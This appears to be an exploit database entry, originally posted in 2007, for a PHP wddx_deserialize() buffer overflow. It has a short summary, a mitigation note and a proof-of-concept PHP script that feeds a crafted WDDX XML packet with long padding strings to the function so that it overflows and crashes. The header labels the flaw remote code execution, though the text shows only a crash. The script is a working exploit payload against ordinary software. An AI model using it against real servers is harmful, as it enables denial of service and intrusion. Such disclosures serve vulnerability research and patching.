PHP - wddx_deserialize() Crash Exploit

vendor:

PHP

by:

Stefan Esser

7.5

CVSS

HIGH

Remote Code Execution

119

CWE

Product Name: PHP

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

PHP – wddx_deserialize() Crash Exploit

This PHP script demonstrates a crash exploit using the wddx_deserialize() function. By passing a specially crafted XML payload to the function, it causes a buffer overflow and crashes the script.

Mitigation:

The vulnerability can be mitigated by updating to a patched version of PHP or by disabling the wddx extension. It is recommended to always keep PHP up to date to prevent such exploits.

Source

Exploit-DB raw data:

<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //                PHP - wddx_deserialize() Crash Exploit              //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // The following testcode will overflow the buffer with lots of C

  wddx_deserialize(
    "<wddxPacket version='1.0'><header/>
        <data>
            <array length='1'>
                <string>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<X />CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC</string>
                <string></string>
            </array>
        </data>
    </wddxPacket>");
?>

# milw0rm.com [2007-03-04]